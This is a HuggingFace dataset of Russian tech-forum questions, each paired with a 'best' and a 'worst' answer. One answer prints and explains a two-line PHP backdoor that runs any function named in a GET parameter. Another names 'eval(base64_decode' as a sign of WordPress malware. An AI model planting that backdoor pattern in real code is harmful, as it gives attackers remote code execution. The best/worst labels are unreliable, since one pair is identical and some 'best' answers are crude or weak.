pavki/hr_qa_sbs_best_bad huggingface dataset:
Вопрос: Сколько взять за разработку электронной платы, прошивку, производство и её поддержку?

Лучший ответ: Не меньше 10 тыр.  За тестовый экземпляр. Надо бы на плату посмотреть.
Важен баланс - мало возьмешь, уважать не будут и ценить, много - могут отказаться.
Но если заказов минимум, а с конторой завязаться хочется....
Да, у контор большие накладные расходы, поэтому много и заряжают.
Считаю стоимость разработки так. 
Прикидываю желаемую зарплату (реальную) за сколько бы я занимался на постоянке. Умножаю на время разработки. 
И умножаю на 2. Хотя бы из тех соображений, что вы выступаете как индивидуальный предприниматель и все риски несете вы. Заболеете, никто вам оплачивать больничный не будет.
Рабочее место тоже ваше и т.д.
Дальше. Платы можно заказать в России (Резонит, Тепро). Дороговато за подготовку, нормально за дециметр, быстро. Или в Китае - подготовка, за дециметр дешево, долго.
Паять такие маленькие партии однозначно у нас.
Где находить изготовителей плат. Есть контрактные производства. Их могут не устроить ваши маленькие объемы.
Есть фрилансеры (паяльшики дома) - их нужно искать по форумам, в разделе Предлагаю работу.
Цену за точку пайки не знаю, поищите инфу. 
Вы им платы и пакет с комплектацией, они вам платы через пару дней.
Вот здесь узнайте electronix.ru/forum/index.php?showforum=78
Покажите платы,  может еще чего подскажу.

Худший ответ: Фирма, как мне кажется, 50000 получила примерно следующим образом - (часы разработки) х (зарплату разработчика) x (налоги) x (риски) х (прибыльность + жадность директора/начальства + содержание персонала а ля секретарь/бухгалтер и т.д.)
Свою стоимость можешь посчитать по аналогичной формуле, и примерно так же стоимость поддержки.
Вопрос: Бекдор в php — как это работает?

Лучший ответ: print() is not actually a real function (it is a language construct) — поэтому у вас с print не получилось ничего.
Как эта штука работает? Очень просто:
$func=@$_GET[c];
$func($_GET[f]);

Используется фича под названием Variable functions

Худший ответ: Простите, а на файл ".../upload/to.php" можно как то взглянуть? Уж очень интересно, чего там запаковали =)
Вопрос: Можно ли как-то на тостере заносить авторов вопросов в черный список?

Лучший ответ: Вы можете жаловаться на вопросы, их или удалят вовсе за грубое нарушение (например, спам) или отправят в темп. На самом деле после нескольких идентичных вопросов, отправленных в спам, такие авторы чаще всего прекращают задавать их.
Когда-то в техподдержку писал предложением несколько иного толка, но оно в данном случае может подошло бы больше. Чтобы сообщество могло раздавать награды и антинаграды авторам вопросов, типа: не реагирую на ответы, меня забанили в гугле т. д. Естественно, с возможностью предусмотреть как отключение наград, так и фильтр по ним. Но это скорее всего довольно трудоемко.

Худший ответ: нет
Вопрос: Что случилось с сайтом loginza.ru?

Лучший ответ: Восстановления ждать опреденно стоит, т.к. в январе их яндекс купил. Возможно, сейчас что-то переносят — но это моё предположение. Форум тоже лежит :(
Попробуйте в саппорт Яндекса написать, может они отзовутся.

Худший ответ: альтернативы этому сервису нет :(
Вопрос: Разные свойства border-top, left... в одну строчку?

Лучший ответ: Запись border-width: 2px 5px 1em 3px; эквивалентна записи border-top-width: 2px;
border-right-width: 5px;
border-bottom-width: 1em;
border-left-width: 3px;
Удобный список свойств на русском htmlbook.ru/css

Худший ответ: Вот вы задумались о том чего насколько мне известно css не может, хотя с css3 возможно скоро (если и не уже) можно. Однако предлагаю присмотреться к модулям css например: less, sass
Их много поэтому думаю что подходящее точно найдешь
Вопрос: У кого можно разместить базу данных хабрахабра?

Лучший ответ: 15 гб занимает всё, включая тексты постов. И то, там много лишнего мусора. Это всё никому не нужно. То, что интересно для аналитики — метаданные, данные о пользователях, постах, комментариях и т.д. Циферки всякие. Это всё занимает считанные мегабайты и может быть выложенно в виде обычных файлов csv или подобного формата. Оно собственно и будет выложенно, когда я разделаюсь с делами на работе и приведу всё это в порядок :)

Худший ответ: База mysql?
Вопрос: Какие существуют скриптовые языки кроме lua? Существуют ли в природе языки реализующие JSR 223? Что можете порекомендовать?

Лучший ответ: Очевидный JavaScript очевиден. Входит в состав Java, кстати. См. Nashorn в jdk8.

Худший ответ: Тяжелые у вас врамена - в гуглах, небось, забанили.
А порекомендую Jython.Пример использования.
Вопрос: Как сделать auto width для поля input?

Лучший ответ: В одну строку и без зависимостей это делается так:<input type="text" onkeydown="this.style.width = ((this.value.length + 1) * 8) + 'px';">

Худший ответ: на нативном js решение, для любого количества input
Вопрос: Максимальная скорость интернет соединения?

Лучший ответ: Получается при загрузке файла, интернет канал нагружен не полностью?
Ещё один человек понял что платит за тариф который ему не нужен в 90% времени :)
Скорость получения вами данных зависит от ширины и нагруженности каналов сервера, задержек и каналов всех промежуточных провайдеров, нагруженгости канала вашего провайдера, качества вашего роутера, качества сигнала до вашего ноутбука.
И ещё очень многих переменных.
Фактически забить свой канал до предела вы можете только торрентами :)

Худший ответ: Стоит также учесть тот факт, что сервер может Вам такую полосу не предоставить.
Вопрос: Как проверить ссылки из массива в PHP, реально ли по ним рабочие или, вообще, есть сайты?

Лучший ответ: get_headers
если 200 тогда все ок

Худший ответ: для проверки заглушек 200 OK косвенные признаки: similarweb, doubleclick реклама и т.п.
Вопрос: Не работает библиотека FileApi от Mail.ru в Opera 11.52

Лучший ответ: Если кто-то ещё раз столкнется с этой проблемой, то обязательно проверьте:
1. Пример
2. Flash настройки
3. Обновитесь, возможно проблема уже была исправлена
4. Посмотрите github issue, возможно мы уже знаем о проблеме и решаем её.

P.S. Проблема TC возможна только в Opera < 12 (если «криво» настроен/работает флеш) и Android default browser, они обладают только частичной поддержкой File API, это было исправлено в последней версии 1.2.6.

Худший ответ: Ошибка решилась с обновлением библиотеки с версии 1.2.4 до 1.2.6

Огромное спасибо автору библиотеки RubaXa — habrahabr.ru/users/RubaXa/ за оперативнейшую помощь и за саму библиотеку!
Вопрос: Как организовать временное хранилище для данных от нескольких форм?

Лучший ответ: Да в принципе можете и в локальной базе создать таблицу для временного заполнения форм. У юзера сохранять cookie, который будет ключем в вашей строке. С каждым сабмитом, юзер отправляет этот ключ и данные из одной из форм, локальная временная таблица дополняется. При нажатии большого сабмита, из временной таблицы уже идет в главную.
Периодически удалять старые записи временной таблицы, если они там висят например больше суток, ну и cookie делать тогда устаревающим за сутки

Худший ответ: Если данные нужно хранить до перезагрузки страницы - создайте просто для каждой формы объект и держите его в памяти, обновляя при необходимости. Любое другое решение в этих условиях - overkill.
Вот простейший вариант.
Вопрос: Файлшеринг в ВУЗе: выкладывают ли преподы файлы для группы в онлайн?

Лучший ответ: У нас самые прогрессивные преподы выкладывают материалы в расшаренную папку Dropbox.

Худший ответ: В данный момент заканчивается разработка новой версии сайта кафедры, на которую преподы смогут заливать свои файлы
Вопрос: Что почитать про анализ данных?

Лучший ответ: в общем
и соседние с ней книги на Озоне, например та же BigData
по обработке:

Худший ответ: Самая лучшая книга: "Практическая бизнес-статистика", Эндрю Сигел.
https://www.ozon.ru/context/detail/id/3783125/
Приведённая выше "Программируем коллективный разум" тоже не плохая.
Книга Питера Флака "Машинное обучение" не для новичков.
"Построение систем машинного обучения..." тоже, в общем-то, не для первоочередного чтения.
Вопрос: Доступ к компьютеру, при динамическом ip?

Лучший ответ: DynDNS имеют свой клиент, ставится на компьютер и периодически скидывают IP на свои DNS адреса. no-ip.org вполне адекватно работает.

Худший ответ: Можете попробовать https://ngrok.com/.
Одна команда:ngrok http 80
и вам напишут, по какому адресу вы теперь видны интернету, адрес будет вида 92832de0.ngrok.io
Вопрос: Почему NVIDIA драйвер не видит свитч?

Лучший ответ: Можно попробовать магический способ, загрузиться с live cd ubuntu и проверить линк. Заработает, значит меняйте драйвер, не заработает, замените кабель и порт

Худший ответ: Так же есть ещё свитч D-Link DES-1026D При подключении к нему проводом, всё работает нормально. Вы не думали, может быть, порт коммутатора неактивен/сгорел?
Вопрос: Каким алгоритмом можно проверить Большое число на простоту?

Лучший ответ: Расклад примерно такой. Пусть n -- длина числа, т.е. обычный перебор работает за 2^{c * n}.
1) Вероятностный тест Рабина-Миллера можно реализовать за O(k n^2 log n), где k -- число попыток. Вероятность ложноположительной ошибки 4^-k. При k=100 это значение настолько безумно мало, что скорее в вашей программе найдется критический баг, процессор сделает ошибку в вычислениях и взломщик выиграет в лотерею и все  это одновременно, чем число окажется составным.
2) Детерминированный AKS (en.wikipedia.org/wiki/AKS_primality_test). Работает за O(n^{6 + eps}). Интересен скорее теоретически.
3) Эллиптический тест на простоту (en.wikipedia.org/wiki/Elliptic_curve_primality). Эмпирически работает за O(n^5). Интересен тем, что в случае успеха возвращает сертификат простоты.

Худший ответ: Быстро это сделать не выйдет. Не спроста же большие простые числа используют в криптографии. Даже если принять во внимание тот факт, что вы не пытаетесь разложить это добро на множители.
Вопрос: Еще один поиск мультиязычной CMS?

Лучший ответ: Подобный Вашему функционал появится когда найдется грамотный заказчик, реализует это все с исполнителем хоть на Битриксе, хоть на Drupal а исполнитель впоследствии доработает это в какие-то доп. модули и выложит в маркетплейс. Возможно, такие решения уже есть на рынке, но скорее всего на зарубежном.

Худший ответ: Я такую фичу многоязычного контента добавлял в свою CMS изначально, одна сущность может иметь несколько языковых представлений (пример сайта), но чтобы получить нужный функционал именно в таком виде как вам нужно всё равно придется либо править стандартные компоненты, либо писать новые с использованием API ядра.
Вопрос: Есть ли плеер с синхронизацией времени — прокручивать ролики определённое время?

Лучший ответ: Раз это юникс, нужно искать не плеер с данной хитрой финтифлюшечкой, а способ взаимодействия того, что есть.
1. Сделать из одного плейлиста несколько, согласно группам роликов.
2. По крону/atd дергать плеер, чтобы он загрузил другой плейлист.

Худший ответ: Нет, такого плеера, увы, нет :-( Можно самому запрограммировать такой функционал, например на основе VLC и его командного режима, или реализовать, опять же программно через gstreamer. В случае с VLC это достаточно просто, если не заморачиваться на особенности реализации, на английсокм вот - www.videolan.org/doc/vlc-user-guide/en/ch05.html
Ну а если по взрослому, то у нас есть продукт, который реализует очень похожий функционал, правда это клиент-сервер. Сервер вещает ролики (и не только) по расписанию на ТВ-приставки по сети ethernet/UDP (микро-IPTV). Если интересно, itmicro.ru/details/keenvision-po-dlya-digital-sign...
Есть демо-версия, можно установить на виртуалку.
Вопрос: Как переквалифицироваться с desktop на web

Лучший ответ: Я бы на вашем месте ушел в мобильные приложения, параллельно изучая веб :)

Худший ответ: У меня похожая была ситуация, но несколько проще. Я с дельфи переходил на веб, но у меня тогда еще была возможность для juinor вакансии.
В Вашем варианте вижу только один путь: Пока работаете на основной работе выполнить параллельно несколько веб проектов. Будет и себе опыт и что показать работодателю.
Вопрос: Подскажите решения для синхронизации данных через интернет

Лучший ответ: dropbox делает это.

Худший ответ: Почему не хотите dropbox?
Это можно сделать через общие папки. Сам попробую сегодня настроить у родителей.
По каким причинам не нужно облако? Для родителей все будет прозрачно.
Вопрос: Как скрыть ip адрес?

Лучший ответ: Tor пробовали? :)

Худший ответ: Авито тор не пускает
Вопрос: Возможно ли создать горячие клавиши в BIOS?

Лучший ответ: Можно путем создания нового биоса, и заливки его на ноутбук.
В общем - все просто, напишите свой биос с преферансом и куртизанками.

Худший ответ: На примере Windows окружения можно сделать так:reagentc /setreimage /path S:\Recovery\WindowsRE\winre.wim /target C:\Windows /bootkey 3b00
Где "/bootkey" - код клавиши, в данном примере F1
Подробнее на https://technet.microsoft.com/ru-ru/library/dd7992...
Вопрос: Как выловить ошибку в приложении QT?

Лучший ответ: При отладке не получалось просмотреть больше одного вызова чтения, после него вылезал SegFault. Но при "Запуск без отладки" все работало, поэтому забил. 
facepalm.png

Худший ответ: Ну так и разберитесь с SegFault. Единственное что можно сказать. Собственно он у вас вылазит и без отладки, только в виде падения.
Вопрос: Можно узнать систему составления кода?

Лучший ответ: Нельзя. Коды для разнообразных акций обычно генерируют без какой-либо закономерности и просто сравнивают с БД

Худший ответ: Сомневаюсь...
Вопрос: Какой дистрибутив выбрать для шлюза + почтового сервера?

Лучший ответ: Debian -  резко, быстро, четко, стабильно, ест мало.
CentOS - то же самое, если привычнее RedHat

Худший ответ: Если нужны отчеты, то лучше Kerio в этом плане ничего не придумали. Но он платный.
Вопрос: Вирус на wordpress?

Лучший ответ: Поищите в php-файлах строчки eval(base64_decode
Это и есть закодированные тэги зловреда

Худший ответ: однажды вирус сидел в jpg- файлах. открываем блокнотом - а там скрипт
Вопрос: Чудеса с рейтингом. Объясните плз

Лучший ответ: Вам сюда: хабрасила.

Худший ответ: Так как формулу подсчета рейтинга открыто не публиковали, было бы странно обижаться на «несправедливый подсчет», так как он все равно один для всех.
Есть предположение, почему это могло случиться: скорее всего пересчет рейтинга триггерится при осуществлении некоторого действия. Так как вас давно не было на сайте, после публикации комментария была учтена и низкая активность за последний период, что и отразилось на рейтинге.
Вопрос: Что дописать в скрипте?

Лучший ответ: код.
upd:
@another_dream скорее всего Вы изобретаете велосипед. В частности, кнопки управления там предусмотрены. Если все равно настаиваете на изменении, то делать примерно надо так:
При нажатии next ищете элемент с классом selectedcircle, проверяете, есть ли после него еще элемент, если есть - то убираете классы selectedcircle у элементов и следующему присваиваете класс selectedcircle. Аналогично для prev.
p.s. Непонятно, зачем Вы понаписали столько классов, все можно было решить куда лаконичнее, например, использую data-атрибуты.

Худший ответ: Сам скрипт
Хэнд-мэйд для имитации переходов: $('.circles').on('click', '.firstcircle, .secondcircle, .thirdcircle, .fourthtcircle', function(e) {
    e.preventDefault();
    $('.firstcircle, .secondcircle, .thirdcircle, .fourthtcircle').removeClass('selectedcircle');
    $(this).addClass('selectedcircle');
    });
Вопрос: С чего начать свой путь(разработка под wp и win)?

Лучший ответ: Что выбрать?
Другую платформу. Серьезно. Как WP разработчик ответственно заявляю — вакансий в данном направлении крайне мало, особенно на российском рынке.
Если хочется C# и мобилки — изучай Xamarin.
Если хочется C# и игры (в том числе мобильные) — Unity.
Если хочется C# без мобилок и игр — ASP.NET и Enterprise направление.
По всем трем пунктам спецы востребованы.
Если все таки хочешь разрабатывать под WP, то 8,1 — единственная актуальная мобильная версия.
UWP — позволяет создавать приложения под разные платформы (телефоны, десктопы, xbox и т.д.) с единым кодом, то есть значительно сократить время на разработку.
Но пока не суйтесь в эти дебри. Начните с изучения базового синтаксиса C#. Хороших книг — валом. Большинство советуют "CLR via C#" Рихтера. Как только более менее освоитесь с самим языком (без графического интерфейса, просто консоль) — выбирайте одно из вышеперечисленных направлений и изучайте требуемый стек технологий.

Худший ответ: Написанное под WP7 (точную версию 7ки не помню) работает на 8ке, но сама 7ка уже мертва почти полностью, даже родной майкрософтовский Скайп на ней перестал работать
Вопрос: Как настроить FTP-соединение в Vesta

Лучший ответ: Приветствую!

Веста очень простая и изящная, поэтому разобраться можно интуитивно.

1. Тебе нужно создать пользователя

dl.dropbox.com/u/3062423/ShareXmod/2013-08/2013-08-28_11-40-11.jpg

2. Залогиниться под этим пользователем

dl.dropbox.com/u/3062423/ShareXmod/2013-08/2013-08-28_11-41-15.jpg

Под этим пользователем ты можешь логиниться логин пользователя: пароль@хост твоей машины с вестой

3. Теперь создать веб-домен

dl.dropbox.com/u/3062423/ShareXmod/2013-08/2013-08-28_11-41-33.jpg

Его document_root теперь доступен по пути
/home/юзер/web/домен/public_html

Худший ответ: Здравствуйте, у меня та же проблема, пожалуста обновите скриншоты и скажите как распаковать архив на сервере
Вопрос: Есть ли аналог модуля shelve, который работает как список, а не как словарь?

Лучший ответ: Тут все сильно зависит от того, что именно вы храните в этом списке, поэтому приведу несколько вариантов.
1. numpy позволяет создавать типизированные массивы и хранит их в памяти, но в весьма компактном виде (объем порой в разы меньше, чем у обычного python'овского списка) и представляет очень богатые возможности по обработке данных.
2. pandas, используя numpy, умеет создавать структурированные массивы (датафреймы), похожие на таблицы баз данных, и предоставляет развитый функционал по выборке и обработке этих данных.
3. pytables позволяет сохранить numpy-массивы или pandas-датафреймы на диск в виде файлов в формате HDF5, обеспечивая быстрый доступ к данным и опять же удобный функционал по поиску/выборке данных.
Скорее всего на ваших объемах данных pandas+HDF5 будет в разы/десятки раз быстрее любой СУБД.
4. bcolz позволяет сжать данные, а также хранить их не только в памяти, но и на диске.
При этом операции с данными производится очень быстро, иногда даже быстрее чем с несжатым списками.
Вообще, спископодобные данные гораздо быстрее обрабатывать с помощью векторных операций в numpy и pandas. Но если вам все-таки нужны именно циклы, то также рекомендую обратить внимание на numba, с помощью которой можно в десятки-сотни раз ускорить python'овские циклы.

Худший ответ: Специально для тебя:https://github.com/deliro/sqlitelist
Вопрос: 1 ip на 2 машины, как быть?

Лучший ответ: ужас. прям беда.из такой ситуации сложно найти выход. костыли есть правда ...... можно порты пробросить, а можно купить нормальный маршрутизатор и второй айпишник оплатить. но я прям не знаю .. вопрос то редкий. его на тостере даже и не задавали. =(

Худший ответ: гуглить по {МАРКА РОУТЕРА} port forwarding
Вопрос: Работа с реплицированной СУБД в python?

Лучший ответ: Способ есть, но он не имеет никакого отношения к Python. Решение исключительно для повышения отказоустойчивости/баллансировки нагрузки БД, а будет ли клиентом, данного решения, Python, Java, PHP, etc — не имеет значения.
pgpool-II

Худший ответ: Даже если пакеты есть, не уверен, что они облегчают жизнь. Такие штуки должны быть на кончиках пальцев, нужно абсолютно точно понимать в какой момент какое поведение ожидается. Это не простая библиотека с простым контрактом, которую подключил и забыл. Тоже касается и инструментов вроде pgpool. Пока вы досканально не разберетесь в его работе, будете вставать на грабли. Писать самому, впрочем, тоже тяжело. Все равно придется наступить на все грабли. Так что наверное серебряной пули тут нет.
Вопрос: Каким образом практиковаться в тестировании?

Лучший ответ: Есть несколько сервисов по тестированию, где можно поучаствовать в различных проектах в роли тестировщика. При этом можно подзаработать, так как за найденные баги положено вознаграждение. Я знаком с двумя такими сервисами:
www.utest.com
fixber.com
Полученный опыт поможет  вникнуть в ключевые процессы тестирования. Например, в utest, каждому новичку назначается ментор.

Худший ответ: Устроиться на работу
Вопрос: Как запустить проект С# на другом пк?

Лучший ответ: *.exe можно найти по пути: Документы пользователя\Visual Studio {Номер}\Projects\{Проект}\{Проект}\bin\
Начиная с 7 доступен .net 2.0, а в 8 уже 4

Худший ответ: Установть .net - обязательно. Студию ставить не надо.
Учтите, что начиная с win7 .net вроде бы встроен какой то. 
И не забудьте приложение собрать в Release-конфигурации.
Вопрос: Проблемы с документацией. Локомотив Rails не едет, или машинист плохой?

Лучший ответ: Сходи расслабься. Жахни телку, успокойся, курни анаши бахни коньячку, а потом с чувством с толком с расстановкой сядь и начинай изучать рельсы и ты сразу все поймешь

Худший ответ: rusrails.ru плюс те ресурсы, что даны в других ответах.
Вопрос: Где может быть полезен Rust?

Лучший ответ: Кому и в каких задачах Rust может мне заменить
Кому [...] мне — крутая формулировка, я заценил :З
А заменяет он не C# и питон, а скорее Си и C++: Rust это язык для низкоуровневых вещей. На нем имеет смысл писать драйвера, серверы, движки рендеринга и т.п. вещи, и практически не имеет смысла писать скрипты (для этого есть Python) и окошки с кнопочками (для этого есть C#).

Худший ответ: Пишите на любом языке и года через 3 поймете, что то, что вы скачете по верхам - совершенно ничего не значит.
Только через 3 года жесткого программирования вы начнете писать с умом и по-настоящему (если попадется хорошая компания). И вопросы отпадут такие.
Из всего того, что вы назвали - самое лучше решение, покрывающее практически все запросы - C#.
Вопрос: Как правильно составить регулярное выражение для реврайта nginx?

Лучший ответ: location ~ /upload/catalog/posob/_/s/_s-(?<code>\d+)_cover_image_small.jpeg$ {
     rewrite ^ /upload/catalog/posob/_/s/_s-$code/cover_image_small.jpeg last;
 }


</code>


PS /code не нужен это что то тостер глючит с тегами

Худший ответ: location ~ /upload/catalog/posob/_/s/_s-(?<code>\d+)_cover_image_small.jpeg$ {
     rewrite ^ /upload/catalog/posob/_/s/_s-$code/cover_image_small.jpeg last;
 }


</code>


PS /code не нужен это что то тостер глючит с тегами
Вопрос: Как оформлять web-портфолио?

Лучший ответ: Публикуйте скриншоты именно ВАШЕЙ работы, и явно указывайте что проект уже сдан и вы за него более не в ответе.

Худший ответ: Попробуйте сохранять копии выполненных работ/сайтов (их вариант перед сдачей) на своем сервере/хостинге, как это делают, например, популярные сайты шаблонов сайтов типа темплейтмонстер и подобных. Там всегда можно посмотреть работающую демо-версию продукта, понажимать на кнопачги =)
Вопрос: В какую страну проще уехать жить на пол года+, имея при этом заработок 500 долл?

Лучший ответ: Украина

Худший ответ: Азия, Индия (Шри-Ланка), но $500 всё же маловато. Раз в месяц надо будет границу пересекать, виза-ран.
Вопрос: Как вывести var_dump() читабельно?

Лучший ответ: echo '<pre>';
var_dump($var);
echo '</pre>';
И таки да, это print_r :)

Худший ответ: На макросе IDE такой код у меня:header('content-type: text/html; charset=utf-8;');
echo '<pre>';
@print_r();
echo '</pre>';
exit(__FILE__ .': '. __LINE__);
Вопрос: Как выполнять код с задержкой в JavaScript?

Лучший ответ: используйте setInterval() или setTimeOut()

Худший ответ: Создайте функцию назовите например Draw_Image. В функции должно быть ctx.drawImage(bug, bugX*20, bugY*20); 
А в том месте где нужна задержка напишите setTimeout(Draw_Image, 1000)